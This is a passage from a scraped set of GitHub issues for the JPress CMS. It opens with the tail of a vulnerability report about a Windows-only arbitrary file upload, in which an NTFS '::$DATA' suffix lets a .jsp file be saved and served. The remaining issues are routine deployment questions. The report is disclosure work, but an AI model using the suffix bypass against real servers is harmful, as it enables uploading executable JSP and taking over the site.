src="https://github.com/user-attachments/assets/340b4ceb-af2f-44f3-9311-d3ca76d0b44e"> The normal file should be saved at `/attachment/20240803/b91be30530c843f8aed2c08bb2222ddc.jsp::$DATA`, but the final file is saved at `/attachment/1.jsp`. <img width="708" alt="6" src="https://github.com/user-attachments/assets/50002339-3fee-465c-a4c0-f61d8578fb1d"> The same applies to HTML files, so it is not elaborated. ## Vulnerability Analysis Located in the `io.jpress.web.commons.controller.AttachmentController#upload` method, line 55 calls the `ControllerBase#getFile` method. <img width="803" alt="7" src="https://github.com/user-attachments/assets/237a20bf-1970-4c0f-826b-7e1dbf603156"> Then `getFile` calls the `getFirstFileOnly` method. <img width="760" alt="8" src="https://github.com/user-attachments/assets/e54c2afd-ac53-4927-9424-4e248f92a4e8"> The `getFirstFileOnly` method calls `this.getFiles()` to save the file at `/attachment/1.jsp::$DATA`, but due to the characteristics of Windows, the `::\$DATA` suffix is ignored, causing the file to be saved at `/attachment/1.jsp`. <img width="698" alt="9" src="https://github.com/user-attachments/assets/25eba4ef-36fe-4df1-ba80-c2195a85a25d"> Finally, at line 90 of the `io.jpress.web.commons.controller.AttachmentController#upload` method, an error is triggered, preventing the file from being moved further, so the file is saved at `/attachment/1.jsp`. <img width="1210" alt="10" src="https://github.com/user-attachments/assets/a079847c-e3f0-44a3-95aa-be7e2f9bc863">
The latest version of JPress deployed on Windows has an arbitrary file upload vulnerability
https://api.github.com/repos/JPressProjects/jpress/issues/188/comments
0
2024-08-02T17:15:44Z
2024-08-02T17:15:44Z
https://github.com/JPressProjects/jpress/issues/188
2,445,438,746
188
[ "JPressProjects", "jpress" ]
直接运行curl -O https://gitee.com/JPressProjects/jpress/raw/master/docker-compose.yml docker-compose up -d后,页面http://127.0.0.1:8080展示空白页面,docker_volumes下没有资源 系统macos M1
docker部署问题
https://api.github.com/repos/JPressProjects/jpress/issues/187/comments
0
2024-03-20T02:15:30Z
2024-03-20T02:15:59Z
https://github.com/JPressProjects/jpress/issues/187
2,196,532,940
187
[ "JPressProjects", "jpress" ]
null
jpress 本地tomcat启动 文件无法正常上传
https://api.github.com/repos/JPressProjects/jpress/issues/186/comments
1
2023-10-10T09:43:54Z
2023-11-15T06:03:15Z
https://github.com/JPressProjects/jpress/issues/186
1,934,920,387
186
[ "JPressProjects", "jpress" ]
我配置nginx(使用域名访问)代理到jpress这个服务,proxy_pass配置的是127.0.0.1:8080,但是访问:域名/admin浏览器地址直接跳转到127.0.0.1:8080/admin,这是怎么回事,我在宿主机部署也是不可以的,但是如果直接访问域名,就没事,后台管理的页面就有问题,
使用Nginx反向代理到jpress服务无法自定义域名访问
https://api.github.com/repos/JPressProjects/jpress/issues/185/comments
1
2023-09-14T07:26:47Z
2023-09-14T07:27:58Z
https://github.com/JPressProjects/jpress/issues/185
1,895,910,144
185